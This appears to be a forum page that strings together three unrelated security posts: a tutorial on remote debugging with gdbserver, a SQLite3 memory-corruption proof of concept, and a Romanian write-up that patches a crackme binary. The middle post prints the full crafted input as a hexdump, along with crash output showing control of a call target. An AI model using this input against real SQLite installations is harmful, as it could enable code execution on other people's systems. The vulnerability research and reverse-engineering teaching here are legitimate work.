Search the Community

In the world we live in, there are different kinds of professions where debugging has been a vital piece of knowledge we must have in order to do our jobs successfully or more efficiently. There are different professions where debugging knowledge is important and are outlined below: Programmers: every programmer knows that debugging the program when it’s not working properly is the only right way to determine why the program is misbehaving and is not producing the intended results. There are still those programmers out there who use different kinds of print statements in order to display the debugging information in a way that makes sense to them only and for a limited amount of time. After a certain period of time, the debugging comments displayed in the stdout (or anywhere else where the output could easily be inspected, like in a file) don’t make any sense anymore, which is the primary reason why we should stop debugging like that – if we can even call it debugging at this point. In any case, whenever we put any kind of print statements into the code, the whole code needs to be recompiled when written in a low-level programming language. System Administrators: various system administrators are tasked with setting up and maintaining a whole infrastructure of the company, which is not an easy task to deal with. There will be different times when the programs of the programmers will malfunction and the system administrator will be the only one having access to the production environment where the program malfunctions. At times like these, the administrator should use a debugger in order to determine what the problem is and report it back to the programmers in order to fix it as soon as possible. Security Researchers: debugger skills can be lethal in the hands of a security specialist, because he can use it to make a program do unexpected things. Debuggers are indispensable when used to analyze how the program works in order to gain deeper understanding about the program internals. There are various fields of a security domain where knowledge about debuggers is a must have skill and the people not having mastered it already will have a hard time completing their jobs; such fields include reverse engineering, malware analysis, exploit writing, etc. The skills will come in handy even when dealing with web applications, for example, when we’ve reversed engineered a web application written in ASP.NET, which used custom encryption/decryption functions in order to pass data between the client and a server in an encrypted form. Having the reverse engineering skills, we quickly put together an algorithm, which was able to decrypt the encrypted data in order for us to modify it and then re-encrypt the data back to its encrypted form to have it sent to the server for processing, which revealed interesting XSS, URL redirection and other kinds of bugs. Despite our job profession outlined above, we should invest the time and learn how to debug properly, which will enable us to find problems sooner and with ease; no more print statements need be introduced into the code. When debugging properly, we have to choose a debugger of our choice and run the program in a debugger, and set appropriate breakpoints so the execution will stop at the time of the program misbehavior, after which we can inspect the program state. Inspecting the program state doesn’t include only a few of the items we had output to the stdout when doing it the wrong way, but the whole program state – we no longer have to put additional print statements into the code, recompile and rerun the program in order to get more information about the program state. Instead we can get all that information for free out of a program stopped in a debugger without many problems. Presenting different kinds of debuggers There are many debuggers that we can use for debugging and are separated into two groups at the highest level, which are presented below. Note that most operating systems are constituted from two parts: the user-mode applications in ring 3, where all of the applications run from and have only limited access via the system calls to the kernel-mode operating system code in ring 0. Therefore, depending on whether we’re debugging a user-mode application in ring 3 or an operating system function/structure in ring 0, the debuggers are divided between two groups presented below. Kernel-Mode debuggers: the debuggers running in kernel-mode, which are able to debug the kernel operating system internals as well as the user-mode applications. An example of debuggers supporting kernel-mode debugging are the following: SoftICE, Syser, HyperDbg, WinDbg, Gdb, VirtDbg. User-Mode debuggers: the debuggers running in user-mode, which are able to debug only the user-mode applications, but don’t have access to the kernel. User-mode debuggers are the following: OllyDbg, Hopper, Hiew, Ida Pro, Dbg, x64dbg, VDB, Radare, etc. All of the debuggers have support for debugging local programs or systems, but only some of them have remote debugging possibilities that allow us to use debuggers in the cloud. The following debuggers have a possibility of a remote debugging session, which we can use in a cloud-based session and debug the problem remotely: WinDbg Gdb VirtDbg Ida Pro Radare Hopper Remote debugging In this example, we’ll take a look at how we can debug an application running in the cloud remotely by using gdb, which can be downloaded and installed by running the following commands: wget ftp://sourceware.org/pub/gdb/releases/gdb-7.5.tar.bz2 # tar xvjf gdb-7.5.tar.bz2 # cd gdb-7.5/gdb/gdbserver/ # ./configure && make && make install Let’s first display all the parameters that we can pass to gdbserver program. # gdbserver Usage: gdbserver [OPTIONS] COMM PROG [ARGS …] gdbserver [OPTIONS] --attach COMM PID gdbserver [OPTIONS] --multi COMM COMM may either be a TTY device (for serial debugging), or HOST:PORT to listen for a TCP connection. Options: --debug Enable general debugging output. --remote-debug Enable remote protocol debugging output. --version Display version information and exit. --wrapper WRAPPER -- Run WRAPPER to start new programs. --once Exit after the first connection has closed. Let’s now present a simple program, that accepts exactly one argument, which must be set to the “secretarg” string in order for the program to return the secret key “KeepingHiddenSecrets”. Otherwise, the program exists with a notification that incorrect input string was passed to the program as the first argument. The program can be seen below. #include <stdio.h> int main(int argc, char **argv) { if(argc != 2) { printf("The wrong number of parameters passed into the program; quitting.\n"); exit(1); } if(strcmp(argv[1], "secretarg") == 0) { printf("The secret password is: KeepingHiddenSecrets.\n"); } else { printf("The secret password is not revealed to you, because you didn't supply the right secret argument.\n"); } return 0; } We can compile the program into the main executable by simply running the “gcc main.c -o main” command, after which we can run the program by running “./main secretarg”, which will print the secret key to the standard output. Imagine that we’re a system administrator or a security researcher and only have access to the main executable, but we don’t have the code, neither we know the secret argument we have to pass to the program in order to reveal the secret key. To complicate matters somehow, let’s also imagine that the program is running on a server on the cloud and can’t be easily recompiled and used on our local computer; nevertheless, we have access to the server and we’re able to run and debug the program. Note that the compiled program should also be copied to the host system where we’ll be inputting the gdb commands in order to be sent to the gdbserver, so the gdb will be able to load and use program symbols. In such cases, it’s best to run the program remotely in the cloud in gdbserver in order to debug it. We can use the command line below to bind to the 0.0.0.0:8080 host and port combination where the remote debugging session will be accessible. We have to run the following commands on the remote host in the cloud where the program will be debugged. Note that the two processes are created during the debugging session because we’ve invoked the program two times, once with the wrong input parameter and another time with the right input parameter. The first invocation of the program revealed that the input argument was not correct, while the second invocation received the secret password, because we’ve passed the correct input argument to the program invocation. # gdbserver --multi 0.0.0.0:8080 Listening on port 8080 Remote debugging from host 4.3.2.1 Process /srv/main created; pid = 20272 The secret password is not revealed to you, because you didn't supply the right secret argument. Child exited with status 0 Process /srv/main created; pid = 20274 The secret password is: KeepingHiddenSecrets. Child exited with status 0 Then we can use the netstat command to confirm whether the gdbserver has actually been started, which can be seen below. # netstat -luntp | grep LISTEN tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 20223/gdbserver After starting the remote session, we can connect to it by executing the following commands on the client, which connects to the remote session and starts debugging the remote process. # gdb (gdb) target extended-remote 1.2.3.4:8080 Remote debugging using 1.2.3.4:8080 (gdb) set remote exec-file /srv/main (gdb) file /tmp/main Reading symbols from /tmp/main...done. (gdb) set architecture i386:x86-64:intel The target architecture is assumed to be i386:x86-64:intel (gdb) run test Starting program: /tmp/main test [Inferior 1 (process 20272) exited normally] (gdb) run secretarg Starting program: /tmp/main secretarg [Inferior 1 (process 20274) exited normally] At this point we can run any command supported by the gdb debugger right on the remote session in the cloud, which enables us to do anything we would have done with a local process. Conclusion Debugging skills are a vital and very important piece of knowledge we have to gain in order to complete our job faster and more efficiently. The hardest thing to do in the process is grasping the idea that such a knowledge will actually benefit us all. After we’ve convinced ourselves that the debugging knowledge will come in handy, we have to choose an appropriate debugger and learn as much as we can about it. Usually, there are different articles and tutorials, even books written on the subject, but we must not despair. We can start slow with a simple tutorial and work our way from there. Whenever a new bug arises, we should take some extra time to find the problem with a debugger rather than using print statements. At first, it will seem like a waste of time, but sooner or later, it will become extremely easy and the first benefits of the newly acquired knowledge will be visible. We’ve seen how easy it is to debug applications in the cloud by using one of the remote capabilities of various debuggers that support it. By using remote debugging, we can easily start a program in the cloud and debug it remotely, not having to setup our own environment when trying to determine what the problem was. If the client wishes to debug a software, which requires various pieces to work together, we can easily use remote debugging capabilities to remotely identify the problem they have been facing. This gets more and more important when debugging SCADA applications, which require certain kinds of hardware that we normally don’t have access to in our every day lives, like a nuclear plant, an air conditioning, etc. In such circumstances, we would have to fly to the client’s location in order to identify the problem at hand, but by using remote debugging capabilities we can do it from our own office from an entirely different country, which reduces costs considerably. We should all invest the time to learn and obtain debugging knowledge, which will save us time and money when trying to determine the cause of the problem. It is only by practicing that we become better and better at what we do and it’s the same with debugging: keep practicing and enjoy using your newly obtained knowledge. Source

# Exploit Title: SQLite3 controlled memory corruption PoC (0day) # Date: [date] # Exploit Author: Andras Kabai # Vendor Homepage: http://www.sqlite.org/ # Software Link: http://www.sqlite.org/download.html # Version: 3.8.6, 3.8.8.3 # Tested on: Ubuntu 14.10, 64 bit 3.8.6 (latest available package), 3.8.8.3 (built from the latest source code) Using a crafted input (e.g. from a malicious file via “-init” parameter or directly given to the std input of the program) it is possible to trigger a memory corruption vulnerability in the most recent version of SQLite3. The memory corruption could be controlled, therefore the program flow could be manipulated by the attacker. The following sections demonstrates the attack against the apt-get installed installed and updated sqlite3 and against a newer version that is built from source. ==== andrew@ubufuzzx6401:~/issues/sqlite$ which sqlite3 /usr/bin/sqlite3 andrew@ubufuzzx6401:~/issues/sqlite$ /usr/bin/sqlite3 -version 3.8.6 2014-08-15 11:46:33 9491ba7d738528f168657adb43a198238abde19e andrew@ubufuzzx6401:~/issues/sqlite$ gdb64 /usr/bin/sqlite3 GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /usr/bin/sqlite3...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) set args < sqlitepoc.txt (gdb) r Starting program: /usr/bin/sqlite3 < sqlitepoc.txt warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch). [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Usage: .trace FILE|off Error: near line 4: near "whatever": syntax error Usage: .trace FILE|off Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7ba06a0 in sqlite3_load_extension () from /usr/lib/x86_64-linux-gnu/libsqlite3.so.0 (gdb) i r rax 0x138 312 rbx 0x41414141424242 18367622009733698 rcx 0x7fffffffb590 140737488336272 rdx 0x0 0 rsi 0x555555779b43 93824994483011 rdi 0x41414141424242 18367622009733698 rbp 0x555555779b43 0x555555779b43 rsp 0x7fffffffb4c0 0x7fffffffb4c0 r8 0x555555779b41 93824994483009 r9 0x6c 108 r10 0x0 0 r11 0x0 0 r12 0x555555779b48 93824994483016 r13 0x7fffffffb590 140737488336272 r14 0x555555779b40 93824994483008 r15 0x2 2 rip 0x7ffff7ba06a0 0x7ffff7ba06a0 <sqlite3_load_extension+736> eflags 0x10246 [ PF ZF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) disas $rip,+10 Dump of assembler code from 0x7ffff7ba06a0 to 0x7ffff7ba06aa: => 0x00007ffff7ba06a0 <sqlite3_load_extension+736>: call QWORD PTR [rbx+0x48] 0x00007ffff7ba06a3 <sqlite3_load_extension+739>: mov r15,rax 0x00007ffff7ba06a6 <sqlite3_load_extension+742>: lea rax,[rip+0x12bc1] # 0x7ffff7bb326e End of assembler dump. === andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ ./lt-sqlite3 -version 3.8.8.3 2015-02-25 13:29:11 9d6c1880fb75660bbabd693175579529785f8a6b andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ gdb64 ./lt-sqlite3 GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./lt-sqlite3...done. (gdb) set disassembly-flavor intel (gdb) set args < /home/andrew/issues/sqlite/sqlitepoc.txt (gdb) r Starting program: /home/andrew/tmp/build/sqlite-autoconf-3080803/.libs/lt-sqlite3 < /home/andrew/issues/sqlite/sqlitepoc.txt warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch). [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Usage: .trace FILE|off Error: near line 4: near "whatever": syntax error Usage: .trace FILE|off Program received signal SIGSEGV, Segmentation fault. sqlite3LoadExtension (pzErrMsg=0x7fffffffb510, zProc=0x0, zFile=0x6261c3 "CCCCBBBBAAAA", db=0x6261c8) at sqlite3.c:36169 36169 } (gdb) i r rax 0x138 312 rbx 0x41414141424242 18367622009733698 rcx 0x7fffffffb510 140737488336144 rdx 0x0 0 rsi 0x6261c3 6447555 rdi 0x41414141424242 18367622009733698 rbp 0x6261c3 0x6261c3 rsp 0x7fffffffb440 0x7fffffffb440 r8 0x6261c1 6447553 r9 0x6c 108 r10 0x7fffffffb270 140737488335472 r11 0x7ffff7b5ae50 140737349267024 r12 0x6261c8 6447560 r13 0x7fffffffb510 140737488336144 r14 0x6261c0 6447552 r15 0x2 2 rip 0x7ffff7b5b130 0x7ffff7b5b130 <sqlite3_load_extension+736> eflags 0x10246 [ PF ZF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) disas $rip,+10 Dump of assembler code from 0x7ffff7b5b130 to 0x7ffff7b5b13a: => 0x00007ffff7b5b130 <sqlite3_load_extension+736>: call QWORD PTR [rbx+0x48] 0x00007ffff7b5b133 <sqlite3_load_extension+739>: mov r15,rax 0x00007ffff7b5b136 <sqlite3_load_extension+742>: lea rax,[rip+0x587d8] # 0x7ffff7bb3915 End of assembler dump. ==== andrew@ubufuzzx6401:~/issues/sqlite$ hexdump -C sqlitepoc.txt 00000000 3b 0a 2e 74 20 78 0a 2e 74 0a 77 68 61 74 65 76 |;..t x..t.whatev| 00000010 65 72 00 0a 3b 0a 2e 74 0a 2e 6f 70 0a 2e 6c 20 |er..;..t..op..l | 00000020 43 43 43 43 42 42 42 42 41 41 41 41 0a |CCCCBBBBAAAA.| 0000002d Source

Reversing the bomb Acest tutorial are ca scop o introducere in domeniul reversing , aici voi discuta despre modul in care poate fi schimbat fluxul unui program.In acelasi timp va fi si un raspuns pentru challenge-ul pe care l-am creat .Vom avea urmatorul exemplu:Un program in care user-ului i se cere o cheie pentru a putea schimba fluxul , in acelasi timp se presupune ca user-ul nu poate ghici care este aceasta cheie sau serial.Vom lua executabilul bomb32 si il vom analiza.Vom folosi urmatoarele tool-uri pentru a face aceasta inspectie: Un debugger , eu prefer gdb dar poate fi oricare altul.Un Hex editor , voi folosi bvi dar exista diverse altele cu interfata grafica precum bless , okteta sau wxHexEditor.In acest articol voi folosi objdump si nm . Tin sa precizez faptul ca nu intotdeauna se pot extrage unele informatii folosind objdump sau nm.In urmatorul exemplu vom vedea sectiile create in acest executabil. [pyth0n3@mc]$ nm bomb 080491e0 A __bss_start 080491e0 A _edata 080491e0 A _end 08048081 T _start 0804919e d arm 08048085 t armed 080490f4 d buf 00000095 a bufl 08049174 d bufs 08049189 d dis 080480c6 t disarm 080491b1 d do 080480d8 t explode 080480e8 t out 08048074 t print 080480bb t wires Folosind un debugger vom putea pune un breakpoint si analiza fiecare sectie , dar inainte vom dezasabla fiecare sectie de cod folosind objdump [pyth0n3@mc]$ objdump -S bomb bomb: file format elf32-i386 Disassembly of section .text: 08048074 <print>: 8048074: b8 04 00 00 00 mov $0x4,%eax 8048079: bb 01 00 00 00 mov $0x1,%ebx 804807e: cd 80 int $0x80 8048080: c3 ret 08048081 <_start>: 8048081: 90 nop 8048082: 90 nop 8048083: 90 nop 8048084: 90 nop 08048085 <armed>: 8048085: 8d 0d 9e 91 04 08 lea 0x804919e,%ecx 804808b: ba 13 00 00 00 mov $0x13,%edx 8048090: e8 df ff ff ff call 8048074 <print> 8048095: 8d 0d b1 91 04 08 lea 0x80491b1,%ecx 804809b: ba 2f 00 00 00 mov $0x2f,%edx 80480a0: e8 cf ff ff ff call 8048074 <print> 80480a5: b8 03 00 00 00 mov $0x3,%eax 80480aa: bb 00 00 00 00 mov $0x0,%ebx 80480af: b9 f4 90 04 08 mov $0x80490f4,%ecx 80480b4: ba 95 00 00 00 mov $0x95,%edx 80480b9: cd 80 int $0x80 080480bb <wires>: 80480bb: 31 c0 xor %eax,%eax 80480bd: 3d 09 03 00 00 cmp $0x309,%eax 80480c2: 75 14 jne 80480d8 <explode> 80480c4: cd 80 int $0x80 080480c6 <disarm>: 80480c6: 8d 0d 89 91 04 08 lea 0x8049189,%ecx 80480cc: ba 16 00 00 00 mov $0x16,%edx 80480d1: e8 9e ff ff ff call 8048074 <print> 80480d6: eb 10 jmp 80480e8 <out> 080480d8 <explode>: 80480d8: 8d 0d 74 91 04 08 lea 0x8049174,%ecx 80480de: ba 15 00 00 00 mov $0x15,%edx 80480e3: e8 8c ff ff ff call 8048074 <print> 080480e8 <out>: 80480e8: b8 01 00 00 00 mov $0x1,%eax 80480ed: bb 00 00 00 00 mov $0x0,%ebx 80480f2: cd 80 int $0x80 Voi comenta fiecare sectie pentru a avea o idee putin mai clara.Aici vine declarata o functie care va stampa pe ecran valori (momentan a fost doar declarata functia , dar poate fi chemata in alte sectii) Daca ati citit articolul pe care l-am scris despre assembly veti putea interpeta fiecare valoare care vine pusa in registrii. 08048074 <print>: 8048074: b8 04 00 00 00 mov $0x4,%eax 8048079: bb 01 00 00 00 mov $0x1,%ebx 804807e: cd 80 int $0x80 8048080: c3 ret De la sectia start incepe executarea programului iar 4 valori chemate nop nu fac absolut nimic .In sectia armed vin incarcate cateva valori in registri dupa care vine chemata functia print care nu face altceva decat sa stampeze aceste valori pe ecran. 08048081 <_start>: 8048081: 90 nop 8048082: 90 nop 8048083: 90 nop 8048084: 90 nop 08048085 <armed>: 8048085: 8d 0d 9e 91 04 08 lea 0x804919e,%ecx 804808b: ba 13 00 00 00 mov $0x13,%edx 8048090: e8 df ff ff ff call 8048074 <print> 8048095: 8d 0d b1 91 04 08 lea 0x80491b1,%ecx 804809b: ba 2f 00 00 00 mov $0x2f,%edx 80480a0: e8 cf ff ff ff call 8048074 <print> 80480a5: b8 03 00 00 00 mov $0x3,%eax 80480aa: bb 00 00 00 00 mov $0x0,%ebx 80480af: b9 f4 90 04 08 mov $0x80490f4,%ecx 80480b4: ba 95 00 00 00 mov $0x95,%edx 80480b9: cd 80 int $0x80 Pentru a analiza exact ce vine facut in aceasta sectie vom folosi gdb (gdb) break armed Breakpoint 1 at 0x8048085 (gdb) run Starting program: /home/pyth0n3/Desktop/bomb Breakpoint 1, 0x08048085 in armed () (gdb) s Single stepping until exit from function armed, which has no line number information. 0x08048074 in print () (gdb) s Single stepping until exit from function print, which has no line number information. [COLOR="#00FF00"]Bomb Armed ______ 0x08048095 in armed ()[/COLOR] (gdb) s Single stepping until exit from function armed, which has no line number information. 0x08048074 in print () (gdb) s Single stepping until exit from function print, which has no line number information. [COLOR="#00FF00"]Disarm the bomb by cutting the correct wires > 0x080480a5 in armed ()[/COLOR] (gdb) s Single stepping until exit from function armed, which has no line number information. [COLOR="#00FF00"]Aici vine cerut un input [/COLOR] Am pus un breakpoint in sectia armed dupa care am rulat programul si am vazut ce face in fiecare step.Am evidentiat in culoare verde ceea ce vine executat in aceasta sectie.Dupa cum observati vin stampate cateva informatii si vine cerut un input de la user.Vom merge mai departe sa analizam urmatoarea sectie. 080480bb <wires>: 80480bb: 31 c0 xor %eax,%eax 80480bd: 3d 09 03 00 00 cmp $0x309,%eax 80480c2: 75 14 jne 80480d8 <explode> 80480c4: cd 80 int $0x80 080480c6 <disarm>: 80480c6: 8d 0d 89 91 04 08 lea 0x8049189,%ecx 80480cc: ba 16 00 00 00 mov $0x16,%edx 80480d1: e8 9e ff ff ff call 8048074 <print> 80480d6: eb 10 jmp 80480e8 <out> 080480d8 <explode>: 80480d8: 8d 0d 74 91 04 08 lea 0x8049174,%ecx 80480de: ba 15 00 00 00 mov $0x15,%edx 80480e3: e8 8c ff ff ff call 8048074 <print> Imediat dupa armed vine executata sectia wires .Vom analiza fiecare instructie.xor %eax,%eax nu face altceva decat sa puna valoarea 0 in registrul eax. cmp $0x309,%eax compara numarul 777 cu registrul eax.309 in hex este echivalent cu 777.In eax avem valoarea 0 datorita instructiei precedente.Deci vine comparat 777 cu 0 , asadar aceste 2 valori nu sunt egale deci este fals deoarece 777 nu este egal cu 0.Urmatoarea instructie va fi executata in baza rezultatului acestei instructii si anume jne va face un jump in urmatoarea adresa de memorie 80480d8 daca valorile in urma comparatiei nu sunt egale .Cum am mai spus 777 nu este ega cu valoarea din eax asadar se va face un jump .Dupa cum observati la adresa 80480d8 incepe sectia <explode>.In acest caz imediat dupa instructia jne va fi executata aceasta sectie.Tin sa precizez faptul ca in momentul in care comparatia ar fi fost adevarata si anume valoarea din eax ar fi fost 777 atunci 777 este egal cu 777 si instructia jne nu va mai face un jump in sectia explode ci va fi executata urmatoarea instructie imediat dupa.jne face un jump atata timp cat valorile care au fost comparate in instructia precedenta nu sunt egale in mod divers vine executata urmatoarea instructie dupa jne.Evident datele nu au fost alterate dupa input asadar se va face un jump in explode iar sectia disarm nu va fi executata.Ia sa vedem ce se intampla in explode.Am incarcat executabilul in gdb dupa care am pus un breakpoint in sectia explode (gdb) break explode Breakpoint 1 at 0x80480d8 (gdb) run Starting program: /home/pyth0n3/Desktop/bomb [COLOR="#00FF00"]Bomb Armed ______ Disarm the bomb by cutting the correct wires > test [/COLOR] Breakpoint 1, 0x080480d8 in explode () (gdb) s Single stepping until exit from function explode, which has no line number information. 0x08048074 in print () (gdb) s Single stepping until exit from function print, which has no line number information. [COLOR="#00FF00"]***BOOM! You Failed![/COLOR] 0x080480e8 in out () (gdb) s Single stepping until exit from function out, which has no line number information. [COLOR="#00FF00"]Program exited normally.[/COLOR] Asadar programul va fi rulat, userului ii vine cerut un input , am pus "test" dupa care ajungem direct in sectia explode unde am facut un breakpoint.Dupa cum observati instructiile din sectia explode stampeaza niste informatii dupa care programul vine terminat.Deci pana aici am observat ca nu vine facut nici un control asupra datelor pe care le-am introdus.(am scris programul in acest fel pentru a explica faptul ca oricare ar fi input-ul user-ului nu exista nici o probabilitate sa coincida cu serialul sau cu cheia pentru a dezarma bomba.) Acum daca nu s-ar fi facut un jump in sectia explode s-ar fi executat intructiile exact dupa sectia wires si anume disarm. 080480bb <wires>: 80480bb: 31 c0 xor %eax,%eax 80480bd: 3d 09 03 00 00 cmp $0x309,%eax 80480c2: 75 14 jne 80480d8 <explode> 80480c4: cd 80 int $0x80 Ei bine ca sa fie executate aceste intructii valoarea care vine confruntata cu eax trebuie sa fie egala cu valoarea din eax.Acest lucru poate fi doar cazual in momentul in care eax dintro oarecare greseala ar fi avut valoarea 777 dar este si imposibil deoarece urmatoarea instructie va pune 0 in eax xor %eax,%eax.Daca nu ar fi existat xor o probabilitate ar fi ca eax sa aiba alta valoare dar nu este confirmat ca aceasta valoare ar fi fost egala cu 777.Asadar nu cunoastem serialul dar stim ca daca valorile confruntate nu sunt egale vine facut un jump in sectia explode si vin executate instructiile de acolo.Hai sa vedem ce face sectia disarm care nu vine executata niciodata. (gdb) disas disarm Dump of assembler code for function disarm: 0x080480c6 <disarm+0>: lea 0x8049189,%ecx 0x080480cc <disarm+6>: mov $0x16,%edx 0x080480d1 <disarm+11>: call 0x8048074 <print> 0x080480d6 <disarm+16>: jmp 0x80480e8 <out> End of assembler dump. (gdb) x/20cb 0x8049189 0x8049189 <dis>: 66 '[COLOR="#00FF00"]B[/COLOR]' 111 '[COLOR="#00FF00"]o[/COLOR]' 109 '[COLOR="#00FF00"]m[/COLOR]' 98 '[COLOR="#00FF00"]b[/COLOR]' 32 ' ' 68 '[COLOR="#00FF00"]D[/COLOR]' 105 '[COLOR="#00FF00"]i[/COLOR]'115 '[COLOR="#00FF00"]s[/COLOR]' 0x8049191 <dis+8>: 97 '[COLOR="#00FF00"]a[/COLOR]' 114 '[COLOR="#00FF00"]r[/COLOR]' 109 '[COLOR="#00FF00"]m[/COLOR]' 101 '[COLOR="#00FF00"]e[/COLOR]' 100 '[COLOR="#00FF00"]d[/COLOR]' 32 ' ' 95 '_' 95 '_' 0x8049199 <dis+16>: 47 '/' 32 ' ' 95 '_' 95 '_' Dupa cum observati vin incarcate in eax datele de la adresa 0x8049189 si anume "Bomb Disarmed __/ __" dupa care vine chemata functia print care le stampeaza si se face un jump in out care e urmatoarea sectie 080480e8 <out>: 80480e8: b8 01 00 00 00 mov $0x1,%eax 80480ed: bb 00 00 00 00 mov $0x0,%ebx 80480f2: cd 80 int $0x80 Aici programul iese.Acum am observat care sunt datele in sectia disarm , am observat faptul ca nu vine executata aceasta sectie.Pentru a rezolva problema nu ne ramane decat sa facem in asa fel incat sectia disarm sa fie executata.CUM?Pentru ca aceasta sectie sa fie executata valorile care vin comparate trebuie sa fie egale sau sa nu fie executata instructia jne.Deci va trebui lucrat asupra sectiei wires deoarece aici vine facut controlul asupra fluxului: 080480bb <wires>: 80480bb: 31 c0 xor %eax,%eax 80480bd: 3d 09 03 00 00 cmp $0x309,%eax 80480c2: 75 14 jne 80480d8 <explode> 80480c4: cd 80 int $0x80 1. Putem modifica valoarea care vine comparata cu eax in asa fel incat sa fie 0 asadar 0==0 si instructia jne nu va face un jump ci se vor executa urmatoarele instructii si anume sectia disarm.Va trebui doar sa modificam valoarea 777 cu 0 , acest lucru se poate face cu un hex editor. 0x080480bb in wires () (gdb) (gdb) disas wires Dump of assembler code for function wires: 0x080480bb <wires+0>: xor %eax,%eax 0x080480bd <wires+2>: cmp $[COLOR="#00FF00"]0x309[/COLOR],%eax 0x080480c2 <wires+7>: jne 0x80480d8 <explode> 0x080480c4 <wires+9>: int $0x80 End of assembler dump. (gdb) x/4bx wires+2 0x80480bd <wires+2>: 0x3d [COLOR="#00FF00"]0x09 0x03[/COLOR] 0x00 (gdb) Asadar daca modificam urmatoarele valori 09 03 cu 00 00 programul isi va schimba fluxul deoarece comparatia va da True deoarece 0 este egal cu 0 00000090 E8 DF FF FF FF 8D 0D B1 91 04 08 BA 2F 00 00 00 ............/... 000000A0 E8 CF FF FF FF B8 03 00 00 00 BB 00 00 00 00 B9 ................ 000000B0 F4 90 04 08 BA 95 00 00 00 CD 80 31 C0 3D [COLOR="#00FF00"]09 03[/COLOR] ...........1.=.. 000000C0 00 00 75 14 CD 80 8D 0D 89 91 04 08 BA 16 00 00 ..u............. 000000D0 00 E8 9E FF FF FF EB 10 8D 0D 74 91 04 08 BA 15 ..........t.... 2. Putem modifica instructia jne cu nop (care este echivalent la no operation performed) asadar nu va face jump deoarece nop nu face nimic si va fi executata urmatoarea instructie care apartine sectiei disarm.Va trebui doar sa gasim valoarea care corespunde instructiei jne in hex si sa o modificam.Acest lucru poate fi facut folosind gdb. Dump of assembler code for function wires: 0x080480bb <wires+0>: xor %eax,%eax 0x080480bd <wires+2>: cmp $0x309,%eax 0x080480c2 <wires+7>: [COLOR="#00FF00"]jne [/COLOR] 0x80480d8 <explode> 0x080480c4 <wires+9>: int $0x80 End of assembler dump. (gdb) x/4bx wires+7 0x80480c2 <wires+7>:[COLOR="#00FF00"] 0x75 0x14[/COLOR] 0xcd 0x80 (gdb) Dupa cum observati una din valori sau poate chiar 2 pot apartine instructiei jne .exlud ultima 0x80 si penultima deoarece instructia e la inceput asadar verific 75 si 14 000000B0 F4 90 04 08 BA 95 00 00 00 CD 80 31 C0 3D 09 03 ...........1.=.. 000000C0 00 00 [COLOR="#00FF00"]75 14[/COLOR] CD 80 8D 0D 89 91 04 08 BA 16 00 00 ..u............. 000000D0 00 E8 9E FF FF FF EB 10 8D 0D 74 91 04 08 BA 15 ..........t..... 000000E0 00 00 00 E8 8C FF FF FF B8 01 00 00 00 BB 00 00 ................ 000000F0 00 00 CD 80 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Aici se afla instructia jne pe care o vom inlocui cu nop , nop in hex e 90 si va trebui sa inlocuim 2 B asadar vom pune 90 90 in locul 75 14. Problem solved.! [pyth0n3@mc]$ ./bomb Bomb Armed ______ Disarm the bomb by cutting the correct wires > test Bomb Disarmed __/ __ Puteti testa fiecare ceea ce am descris mai sus.Cum am ajuns la problema? Simplu , verificand structurele de control conditionat sau inconditionat.Pentru mai multe informatii in legatura cu instructiile care pot schimba fluxul X86 Assembly/Control Flow In momentul in care exista un program care cere un serial sau un cod , va exista intotdeauna o instructie care ii poate schimba fluxul, trebuie doar gasita si modificata.Challenge-ul a fost rezolvat de catre Flubber si em, DarkyAngel a individuat problema dar era confuz asupra valorilor, nu am mai primit raspuns. Codul l-am scris doar pentru a demonstra cum functioneaza structurele de control in asembly sintaxa e AT&T Gas ISA Intel 32 biti .data buf: .space 0x80 bufs: .ascii "***BOOM! You Failed!\n" bufl= .-buf dis: .ascii "Bomb Disarmed __/ __\n" arm: .ascii "Bomb Armed ______ \n" do: .ascii "Disarm the bomb by cutting the correct wires\n> " .text #.global main .globl _start .type print, @function print: movl $4, %eax movl $1, %ebx int $0x80 ret #main: _start: nop nop nop nop armed: leal arm,%ecx movl $0x13, %edx call print leal do,%ecx movl $0x2F,%edx call print movl $0x3,%eax movl $0x0,%ebx movl $buf,%ecx movl $bufl,%edx int $0x80 wires: xorl %eax, %eax cmp $0x309,%eax jne explode int $0x80 disarm: leal dis,%ecx movl $0x16, %edx call print jmp out explode: leal bufs,%ecx movl $0x15, %edx call print out: movl $0x1,%eax movl $0x0,%ebx int $0x80 Am tradus codul si pentru arhitectura Intel 64 bit , sintaxa e 